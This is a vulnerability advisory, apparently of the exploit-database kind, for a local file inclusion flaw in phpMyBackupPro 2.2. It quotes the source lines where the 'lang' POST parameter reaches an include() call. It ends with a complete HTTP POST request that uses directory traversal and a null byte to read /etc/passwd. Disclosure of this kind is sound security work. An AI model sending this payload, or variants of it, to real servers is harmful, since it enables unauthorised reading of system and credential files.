phpMyBackupPro 2.2 Local File Inclusion

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[ Discovered by dun \ posdub[at]gmail.com ]  
[ 2012-07-03 ]  
##################################################################  
# [ phpMyBackupPro <= 2.2 ] Local File Inclusion Vulnerability #  
##################################################################  
#  
# Script: "phpMyBackupPro is a very easy to use, free, web-based  
# MySQL backup application, licensed under the GNU GPL."  
#  
# Vendor: http://www.phpmybackuppro.net/  
# Download: http://sourceforge.net/projects/phpmybackup/files/phpMyBackupPro/  
#  
#  
# File: ./phpMyBackupPro-2.2/config.php (line: 26)  
# ..cut..  
# 26 require_once("login.php"); // 1  
# ..cut..  
#  
# File: ./phpMyBackupPro-2.2/login.php (line: 29)  
# ..cut..  
# 29 require_once("definitions.php"); // 2  
# ..cut..  
#  
# File: ./phpMyBackupPro-2.2/definitions.php (lines: 201-206)  
# ..cut..  
# 201 // check if language was just changed in config.php  
# 202 if (isset($_POST['lang']) && preg_replace("#.*/#","",$_SERVER['PHP_SELF'])=="config.php") $CONF['lang']=$_POST['lang']; // 3  
# 203  
# 204 // include language.inc.php  
# 205 if (!isset($CONF['lang'])) $CONF['lang']="english";  
# 206 if (!file_exists($prepath.PMBP_LANGUAGE_DIR.$CONF['lang'].".inc.php")) // 4  
# include_once($prepath.PMBP_LANGUAGE_DIR."english.inc.php"); // 4  
# else include($prepath.PMBP_LANGUAGE_DIR.$CONF['lang'].".inc.php"); // 4 [LFI]  
# ..cut..  
#  
#  
# [LFI] ( magic_quotes_gpc = Off; )  
# Vuln:  
#  
# POST /phpMyBackupPro-2.2/config.php HTTP/1.1  
# Host: localhost  
# User-Agent: Mozilla/5.0  
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
# Accept-Language: pl,en-us;q=0.7,en;q=0.3  
# Accept-Encoding: gzip, deflate  
# Connection: keep-alive  
# Content-Type: application/x-www-form-urlencoded  
# Content-Length: 39  
# lang=../../../../../../../etc/passwd%00  
#  
### [ dun / 2012 ] #####################################################  
  
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